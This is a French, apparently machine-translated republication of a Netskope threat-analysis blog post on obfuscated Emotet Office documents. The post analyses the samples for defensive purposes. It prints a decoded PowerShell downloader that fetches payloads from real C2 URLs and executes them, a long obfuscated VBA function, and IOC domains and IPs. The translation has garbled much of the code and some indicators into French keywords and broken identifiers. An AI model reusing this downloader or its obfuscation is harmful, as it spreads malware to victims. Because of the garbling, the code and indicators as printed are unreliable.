Netskope : Advanced Threat Protection détection de fichiers Office malveillants

Netskope : Advanced Threat Protection détection de fichiers Office malveillants

560 420 2SB - Distributeur à valeur ajoutée - Solutions de Cybersécurité

Netskope Advanced Threat Protection : détection de fichier Office malveillants
Source : NetSkope (2SB Distributeur)

Les documents Microsoft Office malveillants sont un moyen populaire de distribution de logiciels malveillants.
Les familles de logiciels malveillants telles que Emotet, IcedID et Dridex utilisent les documents Office comme principal mécanisme de distribution.
Plusieurs attaques récentes d’Emotet ont utilisé une nouvelle approche pour envoyer des appâts ou phishings par courrier électronique en hébergeant les documents malveillants dans des applications Cloud pour augmenter leur succès.

Chez NetSkope, nous appliquons une approche hybride à la détection de documents Office malveillants qui s’appuie sur une combinaison d’heuristiques et d’apprentissage automatique supervisé pour identifier le code malveillant intégré dans les documents.
Du 1er août au 23 septembre, la plate-forme Advanced Threat de Netskope a détecté des téléchargements de plusieurs échantillons Emotet zero-day distribués sous forme de fichiers de documents Office ciblant plusieurs clients NetSkope.
Les échantillons ont révélé une tendance à l’utilisation de techniques d’obfuscation ou brouillage de plus en plus avancées pour échapper à la détection des menaces basée sur les signatures.
Cet article de blog décrit les techniques d’obfuscation utilisées via des exemples, dont les détails sont répertoriés dans la section IOC à la fin de cet article.

Obfuscation multicouche

Les exemples de documents Emotet Office sont généralement des feuilles de calcul Microsoft Excel ou des documents Microsoft Word qui utilisent WMI (Windows Management Instrumentation) et PowerShell pour se connecter à leurs serveurs C&C et télécharger leurs charges utiles de l’étape suivante, qui ont inclus TrickBot, QBot et Ryuk.
Dans cette section, nous expliquons comment les quatre exemples Emotet répertoriés dans la section IOC masquent leur utilisation de ces utilitaires Windows en masquant leur code VBA en plusieurs couches.
L’obscurcissement multicouche est un outil utilisé par les attaquants pour générer de nouveaux documents Emotet qui échappent à la détection par un logiciel AV basé sur les signatures.
Nous utiliserons un exemple de code extrait de l’exemple e9afe010343209a2a0f2eb5ec56cdacctout au long de cet article.

Les sections suivantes décrivent trois techniques d’obfuscation utilisées dans ces exemples:

  • Construire un script PowerShell au moment de l’exécution
  • Construire des espaces de noms WMI au moment de l’exécution
  • Obfuscation logique VBA

Construire un script PowerShell au moment de l’exécution

Chacun des exemples masque le fait qu’il inclut un script PowerShell malveillant en construisant le script à partir d’une chaîne obscurcie au moment de l’exécution.
Le code VBA utilise l’ objet InlineShapes pour construire le script comme suit.
La variable locale Lauos9455c_0jekmse voit attribuer une valeur extraite de la  AlternativeTextpropriété d’une image incorporée dans le document.
La capture d’écran ci-dessous montre ce code dans le débogueur, y compris un aperçu du AlternativeTextqui commence 6237862.

Post 2SB NetSkope Malicious Office Docs 1

La capture d’écran suivante montre un extrait de code plus volumineux de
AlternativeText, qui est le script PowerShell encodé.

Post 2SB NetSkope Malicious Office Docs 2

Lors de l’exécution, le texte alternatif est décodé en script
PowerShell ci-dessous:

$ Qky_zcr = ('Oj' + ('ba' + '44') + '1');
& ('new' + '- item') $ enV: usERprofILE \ ix_U0eE \ Da3Ipfv \ -itemtype DirECtory;
[Net.ServicePointManager] :: "SEcUrit`y`pRotO`CoL" = (('tls12' + ',' + '') + 'tl' + 's' + '11' + (',' + 'tls '));
$ P4d5bdi = (('Av' + 'b') + ('jjxx' + '_') + 'b');
$ Nldikqi = ('E' + ('2p' + 'j7' + 'jg'));
$ Cf_yl7r = $ env: profil utilisateur + (('{0} Ix _' + ('u0' + 'ee') + '{0} Da3i' + 'pf' + 'v {0' + '}') -f [ char] 92) + $ P4d5bdi + ('.' + ('ex' + 'e'));
$Zzddnnl=('F'+'5d'+('l'+'o_y'));
$X474fy2=&('n'+'ew-obje'+'ct') NeT.webcLiENt;
$ Qa9w58w = (('htt' + 'p: //' + 'rese') + ('ller -' + 'de' + 'm') + 'o -' + 'nous' + 'bs' + ' i '+' te '+'. c '+' o '+' m / '+ (' di '+' scus ') + (' s '+' ion / qWWf '+' 8F ') + (' S '+' / * '+' htt ') + (' ps '+': // w ') +' ww '+ (' .m '+' o '+' ckdumps.c ') +' om '+ '/' + ('t' + 'est /' + 'Z2pJ / *' + 'h') + 'tt' + ('ps:' + '/') + ('/ t' + 'wi') + ('s' + 'te') + ('rp' + 'ri') + ('nt' + '.') + ('co' + 'm' + '/ chro') + ('moi' + 'le') + ('moi / V' + 'cr' + '/ *') + ('h' + 'tt') + ('p: //' + 's') + 'im' + ('u' + 'la') + ('tio '+' ns.or '+' g ') +' / '+ (' rw_c '+' om ') + (' mo '+' n / '+' Kf ') +' X2 '+ (' MW / * htt '+' p: / '+' / p '+' la ') +' n '+' o '+ (' s '+' des '+' audese '+' mc ') +' a ' + 're' + 'nc' + 'ia' + '.' + 'co' + ('m /' + 'erreurs /') + 'J' + ('Ho' + 'q / * ht' + ' tp ') +' s: '+ (' // viaje '+' - a ') + (' c '+' hina. ') +' c '+' om '+ (' / wp '+' - ' ) + ('ad' + 'mi' + 'n / A1O8t') + 'L' + ('/' + '* ht') + ('tps' + ': /') + ('/ ce' + 'ar') + ('acul' + 'tura' + 'l' + '.' + 'com.b') + ('r /' + 't') + 'u' + ('r' + ' est '+'mo / oy / ')). "SpL`iT" ([char] 42);
$Y6tgzl_=('Un'+('w0m3'+'1'));
foreach ($ Wken8ig dans $ Qa9w58w) {essayez {$ X474fy2. "d`ownLoadfi`Le" ($ Wken8ig, $ Cf_yl7r);
$ Ccx080r = (('Annonce' + 'bqm8') + 'b');
Si ((& ('G' + 'et -' + 'Item') $ Cf_yl7r). "LE`NgTH" -ge 23800) {& ('In' + 'voke' + '- Item') ($ Cf_yl7r );
$ Tla1_sz = (('N' + 'k_3m') + 'yp');
Pause;
$ Ihmn14 _ = ('J' + 'f' + ('wk' + 'uj8'))}} catch {}} $ K7wqzcd = ('Y' + ('joyro' + 'y'))

Source : NetSkope (2SB Distributeur)

Une fois exécuté, le script téléchargera la charge utile de l’étape suivante à partir d’Internet à l’aide de la classe WebClient de .Net Framework et l’exécutera à l’aide d’ Invoke-Item.
Les URL à partir desquelles il télécharge les charges utiles sont également masquées, désignées par la variable $Qa9w58w.

Construire des espaces de noms WMI au moment de l’exécution

Les exemples Emotet exécutent les scripts PowerShell obfusqués à l’aide du service WMI winmgmt.
Pour masquer le fait qu’il utilise WMI, l’exemple e9afe010343209a2a0f2eb5ec56cdaccconstruit le préfixe WMI à partir de la chaîne obfusquée commençant 62378 dans la capture d’écran ci-dessous.

Post 2SB NetSkope Malicious Office Docs 3

Après l’exécution, cette chaîne est décodée winmgmts:win32_Process
comme indiqué dans la capture d’écran suivante.

Source : NetSkope (2SB Distributeur)
Post 2SB NetSkope Malicious Office Docs 4

Ensuite, le script VBA utilise la winmgmts:win32_Process
classe pour exécuter le script PowerShell.

Source : NetSkope (2SB Distributeur)

Obfuscation logique VBA

Jusqu’à présent, nous avons illustré comment le code VBA reconstruit et exécute un script PowerShell obscurci au moment de l’exécution à l’aide de WMI.
Vous avez peut-être également remarqué dans les captures d’écran que le script VBA lui-même est obscurci.
Chacun de ces exemples comprend une obfuscation logique VBA, ce qui complique le code et rend l’analyse plus difficile.
L’une des techniques utilisées déclare des variables inutilisées, des appels de fonction redondants et plusieurs boucles pour masquer la vraie fonction du code.
La fonction suivante G__1rwyai__jm7o1contient 130 lignes de code, avec seulement trois lignes qui fournissent une fonctionnalité réelle.
Ces lignes sont surlignées en rouge.
Le reste du code agit comme un no-op.

Function G__1rwyai__jm7o1(Muso_es0hyn6noj) En cas d’erreur Reprendre suivant Définir NBJKS = Langues IdRWRqkldA = Milieu _ ((Ikf58e3q9ip7zwotaz + Ssvt4yiusol), 232, 2) WBHjwhzz = Milieu _ ((I4pd7b4xle7y0w + R5iuan37o22ng), 127, 2) lqoNo = Milieu _ ((Pkbw5ddktssib1vx + Ohov2j5lbu8anezw01), 230, 1) lizKwNK = Milieu _ ((Vcesgnk2c3lcl25gg + C6bhk3uhkgn5xd_24), 43, 2) pFiWhmDdQ = Moyen _ ((Lziiqt3t1rwjt0s57 + Vw3n00denjficu902r), 109, 1) Set ouOHId = Langues BPEqdkHsb = Milieu _ ((Wpsq3ccwaxpl4he + Fdd1jelftnrpblvhbj), 61, 2) BJTsW = Milieu _ ((Mlfak8nds09 + B0x27y2l2dm9o), 83, 1) ZowKPs = Milieu _ ((Quzchktgywbd458 + Vhvaqqpvzuk), 226, 1) hTwmLzb = Milieu _ ((Hn0iw1j4pp2y56laz4 + Yo1kfmofhfdny_v8k), 242, 2) Définissez nioObds = Langues VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb EYCoQrOrZl = Milieu _ ((Vrdudxoq9hvfp78y + Ouc57iucylcdy), 70, 1) MwMDn = VZJjLFS + EYCoQrOrZl Qxkjmji8kru6j6qg = CleanString (Muso_es0hyn6noj) Définir NBJKS = Langues IdRWRqkldA = Milieu _ ((C_iv4t8cj873ulf + Y9yg8d127bzs), 232, 2) WBHjwhzz = Milieu _ ((Osri3jj1bmue + Qbnzw5l5bck8ya), 127, 2) lqoNo = Milieu _ ((Mz25p71ppu4b7 + Xwecpryohq7hot), 230, 1) lizKwNK = Milieu _ ((Eldj_jnv1zx8x0 + V3plfrg5jtwd), 43, 2) pFiWhmDdQ = Moyen _ ((I0irg_ii148itbo + Uvapbxd3co0_r6), 109, 1) Set ouOHId = Langues BPEqdkHsb = Milieu _ ((Jg6j3qf1y19d_tcw + Uqr9wyrz6qo4aj), 61, 2) BJTsW = Milieu _ ((Wbtcy3w9x6n1dtdj + Utgbo43sov9), 83, 1) ZowKPs = Milieu _ ((T9xrgi0__9yhs5di0n + Thobsc1ri3uk), 226, 1) hTwmLzb = Milieu _ ((R9792j8kfka6 + Ztu1uuaqf4n7eor21), 242, 2) Définissez nioObds = Langues VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb EYCoQrOrZl = Milieu _ ((Lxstv9grzr6w + Jhxch9tiak2tftbw6q), 70, 1) MwMDn = VZJjLFS + EYCoQrOrZl O59swm8t67fn_x = Fractionner (Qxkjmji8kru6j6qg, “62378”) Définir NBJKS = Langues IdRWRqkldA = Milieu _ ((Ng1idf5vqshp + Atjmbgzhzbsh), 232, 2) WBHjwhzz = Milieu _ ((Hywah732l6v_2yhzf + Dv0eg7xhmy95eiaj), 127, 2) lqoNo = Milieu _ ((D_pllxq1zznltssul + Q6gr1o_td5r1n0), 230, 1) lizKwNK = Milieu _ ((Ub11p59soshj85 + Kk56nozykbm3), 43, 2) pFiWhmDdQ = Moyen _ ((Qi0mo52q458uzn3 + Ned19oh8svcdnpzcbo), 109, 1) Set ouOHId = Langues BPEqdkHsb = Milieu _ ((Eu67dc1wr9kzb9z38 + Bwjbb552ydoe), 61, 2) BJTsW = Milieu _ ((Nlswqyj_yh31_i8bg + R35_4wdsbcmoxime), 83, 1) ZowKPs = Milieu _ ((Julieyjoormcw81so + J_ts7s0xhyjvuo6r), 226, 1) hTwmLzb = Milieu _ ((M6quevwof3ppfx8 + N_ej6y4ksqwe), 242, 2) Définissez nioObds = Langues VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb EYCoQrOrZl = Milieu _ ((X0hfnix0gip8e21th + Amnbo2hy5cf), 70, 1) MwMDn = VZJjLFS + EYCoQrOrZl W1a_z4cnkx8pbs = Gnhgnzg5etzb + Join(O59swm8t67fn_x, Jmiiqnw195iem4r2i0) Définir NBJKS = Langues IdRWRqkldA = Milieu _ ((K3kozfmj1mc_1rhhk8 + Kgqme01ng9rb), 232, 2) WBHjwhzz = Milieu _ ((Nvpmkb1ogxvwhxnwr + S0zr59qfp_3fmj), 127, 2) lqoNo = Milieu _ ((Hqec79jh5it62 + In3zr3ddc3r8ew2wak), 230, 1) lizKwNK = Milieu _ ((I8giuwtq37ikc + Gdwar7shhonv04yq), 43, 2) pFiWhmDdQ = Moyen _ ((Gjtpaffhd0ll + Vrph7tewup5e), 109, 1) Set ouOHId = Langues BPEqdkHsb = Milieu _ ((U60y14ly_buki9r4 + Xh7_u8g29fmwz5), 61, 2) BJTsW = Milieu _ ((Hlnljqjt_u5q79yv + Ugtxj1i0384x_blh), 83, 1) ZowKPs = Milieu _ ((A8ugu0xz7p2ql5juz + Nlbbwfmrtr7attia9), 226, 1) hTwmLzb = Milieu _ ((Brji70nkssrdtdki4 + U0kp5dpg478hhl7rti), 242, 2) Définissez nioObds = Langues VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb EYCoQrOrZl = Milieu _ ((Hqcymx6_q932k1m + Ysxxg4zfsnkk), 70, 1) MwMDn = VZJjLFS + EYCoQrOrZl G__1rwyai__jm7o1 = W1a_z4cnkx8pbs Définir NBJKS = Langues IdRWRqkldA = Milieu _ (Updjczqkaz5e_opj2 + Vq_k0wkqa9lyl4), 232, 2) WBHjwhzz = Milieu _ ((Fvf2_4simhhyturi5 + Bk73tqr_xzt), 127, 2) lqoNo = Milieu _ ((Inak35kt3vmiyc2927 + Ssvkt0qczj_g41o), 230, 1) lizKwNK = Milieu _ ((Vyj4y0lmq9ydq1uj2 + Vr3dsmm3wj3p), 43, 2) pFiWhmDdQ = Moyen _ ((Njh8jrd72gj5vkm + Zz2py79d2f9q7nb), 109, 1) Set ouOHId = Langues BPEqdkHsb = Milieu _ ((Aof6j4k3xkdktk8 + Zfwub_7xmdf), 61, 2) BJTsW = Milieu _ ((Ox_nfz4hfsn + K03n4yvrj7r2), 83, 1) ZowKPs = Milieu _ ((Mtbtssfxghak1e5r + Xs4qfchs6ztz6zgj), 226, 1) hTwmLzb = Milieu _ ((Qg2yx_hui23dct2_ + Z_9lnq5ax5x0lt6), 242, 2) Définissez nioObds = Langues VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb EYCoQrOrZl = Milieu _ ((Csy2bjsw88m + L4g3zm1hlmk28y), 70, 1) MwMDn = VZJjLFS + EYCoQrOrZl Fonction de fin

Source : NetSkope (2SB Distributeur)

Détection NetSkope

NetSkope Advanced Threat Protection offre une couverture proactive contre les échantillons zero-day d’Emotet et d’autres documents Office malveillants à l’aide de nos moteurs d’analyse statique ML et heuristique et de notre sandbox Cloud.
La capture d’écran suivante montre la détection de ca8512504aab7157566842560e3840af, indiquant qu’elle a été détectée à la fois par le moteur heuristique et le bac à sable.

Post 2SB NetSkope Malicious Office Docs 5

En outre, NetSkope Advanced Threat Protection extrait également le graphique de flux de processus.
Dans l’exemple suivant, vous pouvez voir que le document Word utilisé WMI pour exécuter un script PowerShell, qui à son tour téléchargé et exécuté la charge utile de l’ étape suivante, r_o2c8hj4.exe.

Post 2SB NetSkope Malicious Office Docs 6

Conclusion

NetSkope Advanced Threat Protection comprend un analyseur de fichiers Microsoft Office personnalisé et un bac à sable pour détecter les documents Office malveillants.
Les exemples d’Emotet examinés dans cet article utilisaient plusieurs couches d’obfuscation, notamment la construction de script PowerShell d’exécution, la construction de préfixe WMI et l’obscurcissement logique VBA pour échapper à la détection basée sur les signatures, mais ont finalement été détectés par notre analyseur de fichiers Office et notre sandbox.
Le malware Emotet se propage toujours activement à l’aide de nouveaux documents Office.
Nous fournirons des mises à jour sur cette menace active au fur et à mesure de son évolution.

Source : NetSkope (2SB Distributeur)

CIO

Exemple 1: e9afe010343209a2a0f2eb5ec56cdacc
Fichier exécutable déposé
C: \ Users \ admin \ AppData \ Local \ midimap \ audiosrv.exe
Requêtes DNS
DOMAIN revendeur-démo-site Web [.] Com
Connexions
103.91.66[.]11
71.72.196[.]159
Requêtes HTTP
hxxp://reseller-demo-website[.]com/discussion/qWWf8FS/
hxxp: //71.72.196 [.] 159 / iy3SwBYjYwT5Od /
Échantillon 2: 56fa47be4a17de3c7ffb07f73ba811bb
Fichier exécutable déposé
C: \ Users \ admin \ Wyhzobx \ Ca1jhtv \ Myf5gg.exe
Requêtes DNS
crbremen [.] com
Connexions
81.169.145[.]68
185.215.227[.]107
Requêtes HTTP
hxxp: // crbremen [.] com / WordPress_01 / A / hxxp: //185.215.227 [.] 107: 443 / 3M4OFDMn4Kabotaol / HKxdAz6M4aHMy / 9jyHua5slHRXyRO / zWlx3BkR /
Échantillon 3: ca8512504aab7157566842560e3840af
Requêtes DNS
cryptokuota [.] com
fgajardo [.] avec
Connexions
94.237.78[.]68
186.64.114[.]45
Requêtes HTTP
hxxp: // cryptokuota [.] com / assets / ayQUtnd403 /
Échantillon 4: 1fc0ae9cf2336e3d666238d550333455
Fichier exécutable déposé
C: \ Users \ admin \ AppData \ Local \ QSHVHOST \ RtkPgExt.exe
Requêtes DNS
academiadotrader [.] net
Connexions
192.185.215[.]162
174.113.69[.]136
Requêtes HTTP 
hxxp: //174.113.69 [.] 136 / p9QSwHvC7 / zQ0CpvOpVpW2OI / GCdboik8ujcjkMw / X15uf0 / q8hZypq2JJF / jbd4qwWcrnkkc1 /
Merci à Zhi Xu, Benjamin Chang, Ashwin Vamshi pour avoir aidé à analyser les fichiers d’exemple et contribué à ce blog.
Source : NetSkope (2SB Distributeur)

Pour en savoir plus concernant cette solution 2SB